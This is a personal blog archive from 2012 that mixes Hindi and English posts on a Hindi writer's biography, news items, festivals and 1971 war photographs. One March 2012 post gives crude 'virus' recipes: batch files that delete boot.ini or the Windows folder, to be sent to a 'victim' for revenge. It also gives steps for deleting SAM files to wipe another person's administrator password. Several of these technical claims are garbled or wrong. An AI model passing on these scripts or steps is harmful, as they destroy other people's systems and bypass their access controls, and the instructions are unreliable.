धैर्यपूर्वक उसे पूरा करें तो मंजिल जरूर मिलती है। यकीन मानिए रात जितनी अंधेरी होगी, सुबह उतनी ही रौशन होगी।

Wednesday, August 8, 2012

ढूंढे नहीं मिलती 'देहाती दुनिया'

साहित्य व पत्रकारिता के क्षेत्र में रचनात्मक लेखन के लिए बिहार की जो पहचान है उसकी बुनियाद आचार्य शिवपूजन सहाय सरीखे व्यक्तित्व की देन है। उनकी बहुआयामी प्रतिभा के कारण ही राष्ट्रीय फलक पर साहित्य के पुरोधा आज तक यह तय नहीं कर पाये कि सहाय जी एक महान साहित्यकार थे या फिर एक महान पत्रकार। बिहारी अस्मिता को शब्दों में गढ़ उन्होंने जो धार दी, उसी पर दुनिया के कोने-कोने में आज भी यहां की पीढ़ी अपने बिहारीपन पर इतराती है।

साहित्य के शिव कहे जाने वाले आचार्य शिवपूजन सहाय का जन्म 9 अगस्त 1893 को बक्सर के इटाढ़ी प्रखंड अंतर्गत उनवांस गांव में एक मध्यम वर्गीय परिवार में हुआ था। प्रारंभिक शिक्षा गांव में लेने के बाद उनकी शिक्षा-दीक्षा आरा में हुई। वहीं, वर्ष 1921 तक उन्होंने हिंदी भाषा शिक्षक के रूप में अध्यापन कार्य किया। पत्रकारिता जगत में उनका प्रवेश वर्ष 1923 में हुआ। तब बिहारी अस्मिता को गढ़ने का सिलसिला बाबू राजेन्द्र प्रसाद व डा.सच्चिदानंद सिन्हा सरीखे लोग शुरू कर चुके थे। सहाय जी ने तब कोलकाता में 'मतवाला' नामक पत
्र में संपादक की हैसियत से कार्य संभाला। एक साल बाद ही वे लखनऊ चले गये जहां पत्रिका 'माधुरी' का संपादन किया। इस दौरान उन्हें महान कथाकार मुंशी प्रेमचंद का सानिध्य मिला और उनकी कई कहानियों का उन्होंने संपादन किया। कहा जाता है कि बिहारी अस्मिता पर आधारित 'देहाती दुनिया' की रचना उन्होंने इस क्रम में की। बिहारी भूमि पर पत्रकारिता का आगाज उन्होंने भागलपुर सुल्तानगंज से प्रकाशित 'गंगा' का संपादन कर किया। वर्ष 1935 में उन्होंने लहेरिया सराय में आचार्य रामलोचन शर्मा के पुस्तक भंडार से प्रकाशित 'बालक' के प्रकाशन की जिम्मेदारी ली। चार साल यहां गुजारने के बाद उन्होंने छपरा के राजेन्द्र कालेज में हिंदी के प्रोफेसर के रूप में कार्य किया। इस दौरान उनकी पुस्तक 'विभूति' व 'माता का आंचल' ने उन्हें साहित्यकारों की जमात की अग्रिम पंक्ति में ला खड़ा किया। वर्ष 1946 में उन्होंने नौकरी से एक साल छुट्टी लेकर पटना में पुस्तक भंडार से प्रकाशित साहित्य को समर्पित मासिक पत्रिका 'हिमालय' के संपादक का दायित्व निभाया। आजादी के बाद वर्ष 1949 में वे बिहार राष्ट्रभाषा परिषद के सचिव बनाये गये। बाद में परिषद के वे निदेशक बने। इस दौरान उन्होंने अपने संपादन में 'हिंदी साहित्य और बिहार' के रूप में ऐसी विरासत गढ़ी जो आज भी विचारधारा को शब्दों के माध्यम से व्यक्त करने की बिहारी शैली का दर्पण है। साहित्य के क्षेत्र में उनके योगदान के लिए वर्ष 1960 में उन्हें पद्म-भूषण अवार्ड से सम्मानित किया गया। 21 जनवरी 1963 को पटना में उनका देहांत हो गया। उनके देहावसान के बाद भी 'वे दिन वे लोग', 'मेरा जीवन' व 'स्मृतिशेष' जैसी उनकी कालजयी रचनायें प्रकाशित हुई।

ढूंढे नहीं मिलती 'देहाती दुनिया'

Sunday, July 15, 2012

गुरु मन्त्र ***

इस बात को व्यक्त मत होने दीजिये कि आपने क्या करने के लिए सोचा है, बुद्धिमानी से इसे रहस्य बनाये रखिये और इस काम को करने के लिए दृढ रहिये.

गुरु मन्त्र


सबसे बड़ा गुरु मन्त्र है :- कभी भी अपने राज़ दूसरों को मत बताएं. ये आपको बर्वाद कर देगा.

Saturday, May 26, 2012

***City(Kolkata) boy in Germany solves ‘Newton puzzle' ***

A 16-year-old schoolboy who had moved from Calcutta to Germany four years ago has earned himself the title of “Young Scientist” after solving a problem said to have been posed by Isaac Newton over 300 years ago, German media has reported.

Shouryya Ray, a resident of Dresden, has solved a differential equation that addresses a fundamental problem in particle dynamics and may be used to predict the flight path of a ball bouncing off a wall, the German paper Die Welt said.

The report said Shouryya had developed an analytical solution for a particle dynamics problem that had until now been addressed through numerical solutions using computers that yielded results based on approximations.

“The report suggests that this is a mathematical achievement — an analytical solution is a complete solution in contrast to an approximation,” said Velayudhan A. Raghunathan, a physicist at the Raman Research Institute, Bangalore, who is not familiar with Shouryya’s work.

Some physicists are still unclear about Ray’s achievement.

“The flight of a ball is classical Newtonian dynamics —all we need (to describe the motion) is the angle at which the ball is projected and the coefficient of elasticity which describes the interaction of the ball with the wall,” said K. Subbaramaiah, an executive member of the Indian Association of Physics Teachers.

Shouryya’s feat, the paper said, has helped him win a competition in German’s Saxony province where senior schoolchildren presented myriad projects — from the effects of breakfast on the ability to concentrate, to the cloning of a gene, to a solar car.

Shouryya has just taken the Abitur, the equivalent of the Class 12 exam, at the Martin Andersen Nexo High School in Dresden. He attributes his interest in science to his father, Subhashis Ray, an engineer who works as a research assistant at the Technical University of Freiburg, saying he instilled in him a “hunger for mathematics” by teaching him calculus at the age of six.

Subhashis said he was no longer able to keep up with his son’s mathematical prowess. “He never discussed his project with me before it was finished and the mathematics he used are far beyond my reach,” The Times, London, quoted him as saying.

Shouryya encountered the problem during a visit to the Technical University in Dresden with fellow students, when he was provided the raw data to evaluate a numerical simulation that can be used to describe the flight path of a ball thrown at a wall.

When he realised that the current approximation method could not yield an exact result, Shouryya decided to take the problem on.

“I asked myself, ‘Why can’t it work?’” Shouryya was quoted by Die Welt as saying.

Shouryya, the paper said, doesn’t think he’s a genius. He was weak in graph theory and had trouble even with problems for beginners. It said he’s “even worse” in the social sciences, and quoted him as saying: “In football, I would be bad even in India.”

But he worked for several months on the differential equation and came up with the solution after “many blind alleys”, the paper said. It added that Shouryya was still unclear whether to major in physics or in mathematics.

Monday, May 14, 2012

Yahoo CEO isn’t the only leader who has fudged résumé...

Yahoo’s Scott Thompson is the latest chief executive to come under fire for fudging his résumé. Here’s a look at other CEOs and leaders who have been caught up in résumé scandals.
Scott Thompson, shown at PayPal's offices in San Jose when he was PayPal president, was named chief executive of Yahoo in January 2012. Yahoo shareholder and New York hedge fund manager Daniel Loeb questioned Thompson's qualifications and integrity after exposing a misrepresentation about the executive’s education. The fabrication was confirmed by Yahoo on May 3, 2012. The résumé listed a computer science degree that Thompson never earned. Thompson apologized to Yahoo employees four days later, saying that he takes "full responsibility." On May 13, the company announced that Thompson had stepped down.

Tuesday, May 8, 2012

iGate opens gate for Patni delisting

The Patni name will cease to exist in the Indian markets. Over a year after iGate wooed and won over Patni Computers, it has received the go-ahead to delist Patni from the bourses, reports Sunanda Jayaseelan of CNBC-TV18.
For the Patni brothers, it's time to say good-bye to their brand. iGate's Phaneesh Murthy, who bought Patni Computers a year ago, is ready to fulfill his dream of making it "one company".
And it starts with a new look and having faced some trouble protecting itself in a few markets because of the Patni family name, iGate has decided to drop the Patni name. While iGate and Patni will continue to function independently, they will go to market under a single "iGate" brand. And this new look comes even as iGate gets permission to delist Patni from the Indian bourses; a move Murthy insists is not a cost-cutting exercise.
Phaneesh Murthy, chief executive officer, iGate, says that this delisting was not done from an operational cost synergy perspective. It was done more for strategic reasons about not wanting to have two public companies so on and so forth. It was done for those kinds of reasons.
We understand that iGate received approval to delist Patni on 4th May but the stock will stop trading only by the third week of May. For iGate, the process itself has not been smooth.
Its plans to raise UDS 215 million dollars in debt to buy out Patni's minority shareholders flopped. Against its floor price of Rs 356 per share, its open offer for Patni drew offers at Rs 520 per share. This meant iGate had to raise UDS 265 million in debt to make the open offer successful.  iGate admits this higher price was fair to Patni shareholders. And of course, operational synergies have already worked in iGate's interests.
“The operational synergies have already helped us to get up to about USD 32 million run rate in annual savings. So that has already been achieved thanks to the operation integration, ” added Murthy. Murthy is betting on these savings to meet the USD 75-80 million interest payout on debt due this year. He also feels that with projected growth of 35-40%, iGate will be able to rapidly reduce its debt burden.

Wednesday, March 7, 2012

Happy Holi

The festival of colors is here again in all its glory,so lets be 2gther and celebrate.
*****wishing very happy HOLI to U an Ur Family*****

Sunday, March 4, 2012

Write VIRUS to computer in 5 minutes

1) Creating virus trick
open ur notepad n type the following.........

type del c:\boot.ini c:\del autoexec.batsave as .exe[save it as .exe file....n u can save it by ne name]
create the notepad in c: drive...


2)
Note: but with in seconds harddisk get damaged

create Virus in 5 minutes.......
Very easy but dangerous VirusOk, now, the trick:
The only thing you need is Notepad.
Now, to test it, create a textfile called TEST.txt(empty)
in C:\Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone.
Now, the real work begins:Go to Notpad and
type erase C:\WINDOWS (or C:\LINUX if you have linux) and
save it again as findoutaname.cmd.
Now DON'T run the file or you'll lose your WINDOWS map.
So, that's the virus. Now to take revenge.
Send you file to your victim.
Once she/he opens it. Her/his WINDOWS/LINUX map is gone.
And have to install LINUX/WINDOWS again.
Simple explanation:Go to notepad, type erase C:\WINDOWS, save,
send to victim, once the victim opens it,
the map WINDOWS will be gone and have to install WINDOWS again...
HEY I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!AGAIN :I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!

be aware of this..its a simple but a strong virus that can delete anyones window os through email ..ok
i am not at all responsible for any of the further cause

Chat With Command Prompt

If you want personal chat with a friend
you don't need to download any yahoo messenger
All you need is your friends IP address and Command Prompt.
Firstly, open Notepad and enter:
@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A
Now save this as "Messenger.bat". Open the .bat file and in Command
Prompt you should see:
MESSENGER
User:
After "User" type the IP address of the computer you want to contact.
After this, you should see this:
Message:
Now type in the message you wish to send.Before you press "Enter" it should look like this:
MESSENGER
User:27.196.391.193
Message: Hi
Now all you need to do is press "Enter", and start chatting!

Secret Codes for Nokia

Codes :
1) *#06# For checking IMEI(international Mobile Equipment Identity)
2) *#7780# Reset to factory settings
3) *#0000# To view software version
4) *#2820# Bluetooth device address
5) *#746025625# Sim clock allowed status
6) #pw+1234567890+1# Shows if ur sim as any restrictions

How to "Delete administrator Password" without any software

Method 1

Boot up with DOS and delete the sam.exe and sam.log files from Windows\system32\config in your hard drive. Now when you boot up in NT the password on your built-in administrator account which will be blank (i.e No password). This solution works only if your hard drive is FAT kind.

Method 2

Step
1. Put your hard disk of your computer in any other pc .Step 2. Boot that computer and use your hard disk as a secondary hard disk (D'nt boot as primary hard disk ).Step 3. Then open that drive in which the victim’s window(or your window) is installed.Step 4. Go to location windows->system32->configStep 5. And delete SAM.exe and SAM.log
Step 6. Now remove hard disk and put in your computer.
Step 7. And boot your computer :-)

Monday, February 20, 2012

Maha Shivratri

Maha Shivratri is a Hindu festival celebrated every year in reverence of Lord Shiva. Shivaratri literally means the great night of Shiva or the night of Shiva. It is celebrated every year on the 13th night/14th day of the Maagha or Phalguna month of the Hindu calendar. Celebrated in the dark fortnight or Krishna Paksha of the month of Maagha . The festival is principally celebrated by offerings of Bael or Bilva/Vilvam leaves to Lord Shiva, all day fasting and an all night long vigil. In accordance with scriptural and discipleship traditions, penances are performed in order to gain boons in the practice of Yoga and meditation, in order to reach life's summum bonum steadily and swiftly.

Friday, February 17, 2012

1971 युद्ध की कुछ दुर्लभ तस्वीरें


पश्चिमी पाकिस्तान में इस्लामकोट पर सफल हमले के बाद 10पैरा कमांडो के भारतीय सैनिक लौटते हुए
भारतीय सैनिकों को ढाका की तरफ़ बढ़ने से रोकने के लिए पाकिस्तानी सैनिकों ने हार्डिंज पुल पर अपना ही टैंक ख़राब करके छोड़ दिया
ढाका की ओर बढ़ता हुआ रूस में बना भारतीय टैंक टी-55

पश्चिमी कमान के प्रमुख जनरल कैंडिथ वरिष्ठ सैनिक कमांडरों से मंत्रणा करते हुए.

युद्ध के दौरान मंत्रणा करते हुए तत्कालीन रक्षा मंत्री जगजीवन राम और थलसेनाध्यक्ष जनरल सैम मानेकशॉ.

अपने बंकरों में भारतीय सैनिकों का इंतज़ार करते पाकिस्तानी सैनिक.

भारतीय सैनिकों के सामने हथियार डालने के बाद युद्धबंदी कैंप में पाकिस्तानी सैनिक.

खुलना की ओर बढ़ता हुआ भारतीय टी-55 टैंक. इस लड़ाई में भारतीय सैनिकों को पाकिस्तान के कड़े प्रतिरोध का सामना करना पड़ा था.

एक भारतीय जवान की बातों पर मुस्कुराते हुए जनरल सैम मानेकशॉ और लेफ़्टिनेंट जनरल सरताज सिंह. 

जनरल सैम मानेकशॉ 8वीं गोरखा राइफ़ल्स के वीरता पदक विजेता सैनिकों के साथ.
 
 पाकिस्तानी जेलों में नौ महीने रहने के बाद बांग्लादेश के राष्ट्रपिता शेखमुजीबुर्रहमान की ढाका वापसी.
पूर्वी पाकिस्तान में भारतीय सेना के सामने आत्मसमर्पण करते पाकिस्तानी सेना के अधिकारी.
युद्ध के पहले ही दिन भारतीय वायु सेना ने पूर्वी पाकिस्तान की पूरी वायु सीमा पर नियंत्रण कर लिया था. हमला करने की तैयारी में हंटर विमान.
पाकिस्तान से छीने गए चीन में बने टी-59 टैंक के ऊपर खड़े भारतीय सैनिक.
पाकिस्तान से छीना गया शर्मन टैंक भारतीय सैनिकों के हाथों में.